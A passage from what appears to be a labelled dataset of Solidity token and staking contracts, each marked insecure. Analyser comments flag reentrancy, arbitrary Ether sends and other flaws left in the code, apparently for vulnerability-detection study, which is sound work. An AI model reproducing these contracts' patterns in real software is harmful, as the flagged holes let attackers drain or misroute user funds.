'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function emergencyWithdraw(uint256 _pid) external nonReentrant {\n PoolInfo storage pool = poolInfo[_pid];\n UserInfo storage user = userInfo[_pid][msg.sender];\n uint256 amount = user.amount;\n\t\t// reentrancy-no-eth | ID: 30e823a\n pool.token.safeTransfer(msg.sender, amount);\n\t\t// reentrancy-no-eth | ID: 30e823a\n user.amount = 0;\n\t\t// reentrancy-no-eth | ID: 30e823a\n user.rewardDebt = 0;\n\t\t// reentrancy-no-eth | ID: 30e823a\n pool.supply = pool.supply.sub(amount);\n }\n\n function safeTokenTransfer(address _to, uint256 _amount) internal {\n uint256 bal = token.balanceOf(address(this));\n bool transferSuccess = false;\n if (_amount > bal) {\n\t\t\t// reentrancy-no-eth | ID: a446edd\n\t\t\t// reentrancy-no-eth | ID: acb0eee\n\t\t\t// reentrancy-no-eth | ID: 1487f06\n transferSuccess = token.transfer(_to, bal);\n } else {\n\t\t\t// reentrancy-no-eth | ID: a446edd\n\t\t\t// reentrancy-no-eth | ID: acb0eee\n\t\t\t// reentrancy-no-eth | ID: 1487f06\n transferSuccess = token.transfer(_to, _amount);\n }\n require(transferSuccess, \"safeTokenTransfer: transfer failed\");\n }\n}",
"file_name": "solidity_code_2044.sol",
"secure": 0,
"size_bytes": 10381
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract RedWave is ERC20, Ownable {\n using SafeMath for uint256;\n\n IUniswapV2Router02 public uniswapV2Router;\n address public immutable uniswapV2Pair;\n\n bool private inSwapAndLiquify;\n\n bool public swapAndLiquifyEnabled = true;\n\n uint256 public maxSellTransactionAmount = 1000000000 * (10 ** 12);\n uint256 public maxBuyTransactionAmount = 1000000000 * (10 ** 12);\n uint256 public swapTokensAtAmount = 500000 * (10 ** 12);\n\n\t// WARNING Optimization Issue (constable-states | ID: f3de266): RedWave.liquidityBuyFee should be constant \n\t// Recommendation for f3de266: Add the 'constant' attribute to state variables that never change.\n uint256 public liquidityBuyFee = 1;\n\t// WARNING Optimization Issue (constable-states | ID: 776db1c): RedWave.teamBuyFee should be constant \n\t// Recommendation for 776db1c: Add the 'constant' attribute to state variables that never change.\n uint256 public teamBuyFee = 4;\n\t// WARNING Optimization Issue (constable-states | ID: fa47021): RedWave.apeBurnBuyFee should be constant \n\t// Recommendation for fa47021: Add the 'constant' attribute to state variables that never change.\n uint256 public apeBurnBuyFee = 0;\n\t// WARNING Optimization Issue (immutable-states | ID: 388615a): RedWave.totalBuyFees should be immutable \n\t// Recommendation for 388615a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public totalBuyFees =\n liquidityBuyFee.add(teamBuyFee).add(apeBurnBuyFee);\n\n\t// WARNING Optimization Issue (constable-states | ID: cdff5b2): RedWave.liquiditySellFee should be constant \n\t// Recommendation for cdff5b2: Add the 'constant' attribute to state variables that never change.\n uint256 public liquiditySellFee = 0;\n\t// WARNING Optimization Issue (constable-states | ID: ffda005): RedWave.teamSellFee should be constant \n\t// Recommendation for ffda005: Add the 'constant' attribute to state variables that never change.\n uint256 public teamSellFee = 5;\n\t// WARNING Optimization Issue (constable-states | ID: ba1d260): RedWave.apeBurnSellFee should be constant \n\t// Recommendation for ba1d260: Add the 'constant' attribute to state variables that never change.\n uint256 public apeBurnSellFee = 0;\n\t// WARNING Optimization Issue (immutable-states | ID: 52c2ec6): RedWave.totalSellFees should be immutable \n\t// Recommendation for 52c2ec6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public totalSellFees =\n liquiditySellFee.add(teamSellFee).add(apeBurnSellFee);\n\n address public immutable ApeCoin =\n address(0x4d224452801ACEd8B2F0aebE155379bb5D594381);\n\t// WARNING Optimization Issue (constable-states | ID: dc6cf7b): RedWave.teamWallet should be constant \n\t// Recommendation for dc6cf7b: Add the 'constant' attribute to state variables that never change.\n address payable public teamWallet =\n payable(0xB0C1f550Dbba6fD5032d3aCAD80F05a3D6eff382);\n address public immutable deadAddress =\n 0x000000000000000000000000000000000000dEaD;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) public automatedMarketMakerPairs;\n\n uint256 private buyBackUpperLimit = 50000000000000000;\n uint256 public _buybackDivisor = 10;\n\n bool public buyBackEnabled = true;\n\n event BuyBackEnabledUpdated(bool enabled);\n\n event SwapETHForTokens(uint256 amountIn, address[] path);\n\n event UpdateUniswapV2Router(\n address indexed newAddress,\n address indexed oldAddress\n );\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n event GasForProcessingUpdated(\n uint256 indexed newValue,\n uint256 indexed oldValue\n );\n\n event SwapAndLiquifyEnabledUpdated(bool enabled);\n\n event SwapAndLiquify(uint256 tokensIntoLiqudity, uint256 ethReceived);\n\n modifier lockTheSwap() {\n\t\t// reentrancy-eth | ID: 85ba686\n inSwapAndLiquify = true;\n _;\n\t\t// reentrancy-eth | ID: 85ba686\n inSwapAndLiquify = false;\n }\n\n constructor() ERC20(\"RedWave\", \"WAVE\") {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n uniswapV2Pair = _uniswapV2Pair;\n\n _setAutomatedMarketMakerPair(_uniswapV2Pair, true);\n\n excludeFromFees(owner(), true);\n excludeFromFees(teamWallet, true);\n excludeFromFees(address(this), true);\n\n _createInitialSupply(owner(), 1000000000 * (10 ** 12));\n }\n\n receive() external payable {}\n\n function updateUniswapV2Router(address newAddress) public onlyOwner {\n require(\n newAddress != address(uniswapV2Router),\n \"RedWave: The router already has that address\"\n );\n emit UpdateUniswapV2Router(newAddress, address(uniswapV2Router));\n uniswapV2Router = IUniswapV2Router02(newAddress);\n }\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n require(\n _isExcludedFromFees[account] != excluded,\n \"RedWave: Account is already the value of 'excluded'\"\n );\n _isExcludedFromFees[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) public onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"RedWave: The PancakeSwap pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n require(\n automatedMarketMakerPairs[pair] != value,\n \"RedWave: Automated market maker pair is already set to that value\"\n );\n automatedMarketMakerPairs[pair] = value;\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n function isExcludedFromFees(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {\n swapAndLiquifyEnabled = _enabled;\n emit SwapAndLiquifyEnabledUpdated(_enabled);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 11db590): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 11db590: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 85ba686): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 85ba686: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 156257e): RedWave._transfer(address,address,uint256).fees is a local variable never initialized\n\t// Recommendation for 156257e: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n return;\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n (!_isExcludedFromFees[from]) &&\n (!_isExcludedFromFees[to])\n ) {\n require(\n amount <= maxBuyTransactionAmount,\n \"amount exceeds the maxBuyTransactionAmount.\"\n );\n }\n\n if (\n automatedMarketMakerPairs[to] &&\n (!_isExcludedFromFees[from]) &&\n (!_isExcludedFromFees[to])\n ) {\n require(\n amount <= maxSellTransactionAmount,\n \"amount exceeds the maxSellTransactionAmount.\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool overMinTokenBalance = contractTokenBalance >= swapTokensAtAmount;\n\n if (\n !inSwapAndLiquify &&\n automatedMarketMakerPairs[to] &&\n swapAndLiquifyEnabled\n ) {\n if (overMinTokenBalance) {\n\t\t\t\t// reentrancy-events | ID: 11db590\n\t\t\t\t// reentrancy-eth | ID: 85ba686\n contractTokenBalance = swapTokensAtAmount;\n swapAndLiquify(contractTokenBalance);\n }\n\n uint256 balance = address(this).balance;\n if (buyBackEnabled && balance > uint256(buyBackUpperLimit)) {\n if (balance > buyBackUpperLimit) balance = buyBackUpperLimit;\n\t\t\t\t// reentrancy-events | ID: 11db590\n\t\t\t\t// reentrancy-eth | ID: 85ba686\n\n buyBackTokens(balance.div(_buybackDivisor));\n }\n }\n\n if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {\n uint256 fees;\n if (automatedMarketMakerPairs[from]) {\n fees = amount.mul(totalBuyFees).div(100);\n }\n\n if (automatedMarketMakerPairs[to]) {\n fees = amount.mul(totalSellFees).div(100);\n }\n\n amount = amount.sub(fees);\n\t\t\t// reentrancy-events | ID: 11db590\n\t\t\t// reentrancy-eth | ID: 85ba686\n super._transfer(from, address(this), fees);\n }\n\n\t\t// reentrancy-events | ID: 11db590\n\t\t// reentrancy-eth | ID: 85ba686\n super._transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4a0468e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4a0468e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 67aeec7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 67aeec7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5550c3f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5550c3f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {\n uint256 tokensForLiquidity = contractTokenBalance\n .mul(liquidityBuyFee)\n .div(totalBuyFees);\n\n uint256 half = tokensForLiquidity.div(2);\n uint256 otherHalf = tokensForLiquidity.sub(half);\n\n uint256 initialBalance = address(this).balance;\n\n\t\t// reentrancy-events | ID: 4a0468e\n\t\t// reentrancy-events | ID: 67aeec7\n\t\t// reentrancy-eth | ID: 5550c3f\n swapTokensForEth(half);\n\n uint256 newBalance = address(this).balance.sub(initialBalance);\n\n\t\t// reentrancy-events | ID: 4a0468e\n\t\t// reentrancy-events | ID: 67aeec7\n\t\t// reentrancy-eth | ID: 5550c3f\n addLiquidity(otherHalf, newBalance);\n\n uint256 balanceBeforeSwap = address(this).balance;\n\t\t// reentrancy-events | ID: 4a0468e\n\t\t// reentrancy-events | ID: 67aeec7\n\t\t// reentrancy-eth | ID: 5550c3f\n swapTokensForEth(contractTokenBalance.sub(tokensForLiquidity));\n uint256 balanceAfterSwap = address(this).balance.sub(balanceBeforeSwap);\n\t\t// reentrancy-events | ID: 67aeec7\n\t\t// reentrancy-events | ID: 11db590\n\t\t// reentrancy-eth | ID: 85ba686\n teamWallet.transfer(\n balanceAfterSwap.mul(teamBuyFee).div(teamBuyFee.add(apeBurnBuyFee))\n );\n\n\t\t// reentrancy-events | ID: 67aeec7\n emit SwapAndLiquify(half, newBalance);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n\n if (allowance(address(this), address(uniswapV2Router)) < tokenAmount) {\n _approve(address(this), address(uniswapV2Router), ~uint256(0));\n }\n\n\t\t// reentrancy-events | ID: 4a0468e\n\t\t// reentrancy-events | ID: 67aeec7\n\t\t// reentrancy-events | ID: 11db590\n\t\t// reentrancy-eth | ID: 85ba686\n\t\t// reentrancy-eth | ID: 5550c3f\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 52f64e6): RedWave.addLiquidity(uint256,uint256) ignores return value by uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,owner(),block.timestamp)\n\t// Recommendation for 52f64e6: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: af5e60a): RedWave.addLiquidity(uint256,uint256) sends eth to arbitrary user Dangerous calls uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,owner(),block.timestamp)\n\t// Recommendation for af5e60a: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n\t\t// reentrancy-events | ID: 4a0468e\n\t\t// reentrancy-events | ID: 67aeec7\n\t\t// reentrancy-events | ID: 11db590\n\t\t// unused-return | ID: 52f64e6\n\t\t// reentrancy-eth | ID: 85ba686\n\t\t// reentrancy-eth | ID: 5550c3f\n\t\t// arbitrary-send-eth | ID: af5e60a\n uniswapV2Router.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n owner(),\n block.timestamp\n );\n }\n\n function buyBackTokens(uint256 amount) private lockTheSwap {\n if (amount > 0) {\n swapETHForTokens(amount);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: eb96fe4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for eb96fe4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: ca77c48): Unprotected call to a function sending Ether to an arbitrary address.\n\t// Recommendation for ca77c48: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function swapETHForTokens(uint256 amount) private {\n address[] memory path = new address[](2);\n path[0] = uniswapV2Router.WETH();\n path[1] = ApeCoin;\n\n\t\t// reentrancy-events | ID: eb96fe4\n\t\t// reentrancy-events | ID: 11db590\n\t\t// reentrancy-eth | ID: 85ba686\n\t\t// arbitrary-send-eth | ID: ca77c48\n uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{\n value: amount\n }(0, path, deadAddress, block.timestamp.add(300));\n\n\t\t// reentrancy-events | ID: eb96fe4\n\t\t// reentrancy-events | ID: 11db590\n emit SwapETHForTokens(amount, path);\n }\n\n function swapTokensForApeCoin(uint256 tokenAmount) private {\n address[] memory path = new address[](3);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n path[2] = ApeCoin;\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n uniswapV2Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: f8df3e5): RedWave.setMaxSellTransaction(uint256) should emit an event for maxSellTransactionAmount = _maxSellTxAmount \n\t// Recommendation for f8df3e5: Emit an event for critical parameter changes.\n function setMaxSellTransaction(uint256 _maxSellTxAmount) public onlyOwner {\n\t\t// events-maths | ID: f8df3e5\n maxSellTransactionAmount = _maxSellTxAmount;\n require(\n maxSellTransactionAmount >= totalSupply().div(300),\n \"value is too low\"\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: cf4c6f9): RedWave.setMaxBuyTransaction(uint256) should emit an event for maxBuyTransactionAmount = _maxBuyTxAmount \n\t// Recommendation for cf4c6f9: Emit an event for critical parameter changes.\n function setMaxBuyTransaction(uint256 _maxBuyTxAmount) public onlyOwner {\n\t\t// events-maths | ID: cf4c6f9\n maxBuyTransactionAmount = _maxBuyTxAmount;\n require(\n maxBuyTransactionAmount >= totalSupply().div(300),\n \"value is too low\"\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 6357932): RedWave.setSwapTokensAtAmouunt(uint256) should emit an event for swapTokensAtAmount = _newAmount \n\t// Recommendation for 6357932: Emit an event for critical parameter changes.\n function setSwapTokensAtAmouunt(uint256 _newAmount) public onlyOwner {\n\t\t// events-maths | ID: 6357932\n swapTokensAtAmount = _newAmount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 48848dc): RedWave.setBuybackDivisor(uint256) should emit an event for _buybackDivisor = divisor \n\t// Recommendation for 48848dc: Emit an event for critical parameter changes.\n function setBuybackDivisor(uint256 divisor) external onlyOwner {\n\t\t// events-maths | ID: 48848dc\n _buybackDivisor = divisor;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: dc5ba0c): RedWave.setBuybackUpperLimit(uint256) should emit an event for buyBackUpperLimit = newLimit \n\t// Recommendation for dc5ba0c: Emit an event for critical parameter changes.\n function setBuybackUpperLimit(uint256 newLimit) external onlyOwner {\n\t\t// events-maths | ID: dc5ba0c\n buyBackUpperLimit = newLimit;\n }\n\n function buyBackUpperLimitAmount() public view returns (uint256) {\n return buyBackUpperLimit;\n }\n\n function setBuyBackEnabled(bool _enabled) public onlyOwner {\n buyBackEnabled = _enabled;\n emit BuyBackEnabledUpdated(_enabled);\n }\n}",
"file_name": "solidity_code_2045.sol",
"secure": 0,
"size_bytes": 20069
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract WOLFI is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n string private constant _name = \"WOLFI\";\n string private constant _symbol = \"WOLFI\"; ///////////////////////////////////////////\n uint8 private constant _decimals = 9;\n\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 1000000000 * 10 ** 9;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n\n uint256 private _redisFeeOnBuy = 0;\n uint256 private _taxFeeOnBuy = 2;\n uint256 private _redisFeeOnSell = 0;\n uint256 private _taxFeeOnSell = 5;\n\n uint256 private _redisFee = _redisFeeOnSell;\n uint256 private _taxFee = _taxFeeOnSell;\n\n uint256 private _previousredisFee = _redisFee;\n uint256 private _previoustaxFee = _taxFee;\n\n mapping(address => bool) public bots;\n mapping(address => uint256) public _buyMap;\n\t// WARNING Optimization Issue (constable-states | ID: 557b2c2): WOLFI._developmentAddress should be constant \n\t// Recommendation for 557b2c2: Add the 'constant' attribute to state variables that never change.\n address payable private _developmentAddress =\n payable(0xB64a5F23AC23dB1f7cd0d7Ca82aBDaD8D664B1CE);\n\t// WARNING Optimization Issue (constable-states | ID: 4fa5924): WOLFI._marketingAddress should be constant \n\t// Recommendation for 4fa5924: Add the 'constant' attribute to state variables that never change.\n address payable private _marketingAddress =\n payable(0xB64a5F23AC23dB1f7cd0d7Ca82aBDaD8D664B1CE);\n\n\t// WARNING Optimization Issue (immutable-states | ID: b323a8d): WOLFI.uniswapV2Router should be immutable \n\t// Recommendation for b323a8d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: d18dcbe): WOLFI.uniswapV2Pair should be immutable \n\t// Recommendation for d18dcbe: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = true;\n\n uint256 public _maxTxAmount = 9000000 * 10 ** 9;\n uint256 public _maxWalletSize = 18000000 * 10 ** 9;\n uint256 public _swapTokensAtAmount = 1000000 * 10 ** 9;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_developmentAddress] = true;\n _isExcludedFromFee[_marketingAddress] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 096b2fc): WOLFI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 096b2fc: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ae73ec6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ae73ec6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1036d14): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1036d14: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: ae73ec6\n\t\t// reentrancy-benign | ID: 1036d14\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: ae73ec6\n\t\t// reentrancy-benign | ID: 1036d14\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n function removeAllFee() private {\n if (_redisFee == 0 && _taxFee == 0) return;\n\n\t\t// reentrancy-benign | ID: 379d397\n _previousredisFee = _redisFee;\n\t\t// reentrancy-benign | ID: 379d397\n _previoustaxFee = _taxFee;\n\n\t\t// reentrancy-benign | ID: 379d397\n _redisFee = 0;\n\t\t// reentrancy-benign | ID: 379d397\n _taxFee = 0;\n }\n\n function restoreAllFee() private {\n\t\t// reentrancy-benign | ID: 379d397\n _redisFee = _previousredisFee;\n\t\t// reentrancy-benign | ID: 379d397\n _taxFee = _previoustaxFee;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4c4dec1): WOLFI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4c4dec1: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 1036d14\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: ae73ec6\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 00050d7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 00050d7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 379d397): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 379d397: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4e9f4b2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4e9f4b2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n if (!tradingOpen) {\n require(\n from == owner(),\n \"TOKEN: This account cannot send tokens until trading is enabled\"\n );\n }\n\n require(amount <= _maxTxAmount, \"TOKEN: Max Transaction Limit\");\n require(\n !bots[from] && !bots[to],\n \"TOKEN: Your account is blacklisted!\"\n );\n\n if (to != uniswapV2Pair) {\n require(\n balanceOf(to) + amount < _maxWalletSize,\n \"TOKEN: Balance exceeds wallet size!\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n bool canSwap = contractTokenBalance >= _swapTokensAtAmount;\n\n if (contractTokenBalance >= _maxTxAmount) {\n contractTokenBalance = _maxTxAmount;\n }\n\n if (\n canSwap &&\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled &&\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to]\n ) {\n\t\t\t\t// reentrancy-events | ID: 00050d7\n\t\t\t\t// reentrancy-benign | ID: 379d397\n\t\t\t\t// reentrancy-eth | ID: 4e9f4b2\n swapTokensForEth(contractTokenBalance);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 00050d7\n\t\t\t\t\t// reentrancy-eth | ID: 4e9f4b2\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n bool takeFee = true;\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n takeFee = false;\n } else {\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 379d397\n _redisFee = _redisFeeOnBuy;\n\t\t\t\t// reentrancy-benign | ID: 379d397\n _taxFee = _taxFeeOnBuy;\n }\n\n if (to == uniswapV2Pair && from != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 379d397\n _redisFee = _redisFeeOnSell;\n\t\t\t\t// reentrancy-benign | ID: 379d397\n _taxFee = _taxFeeOnSell;\n }\n }\n\n\t\t// reentrancy-events | ID: 00050d7\n\t\t// reentrancy-benign | ID: 379d397\n\t\t// reentrancy-eth | ID: 4e9f4b2\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 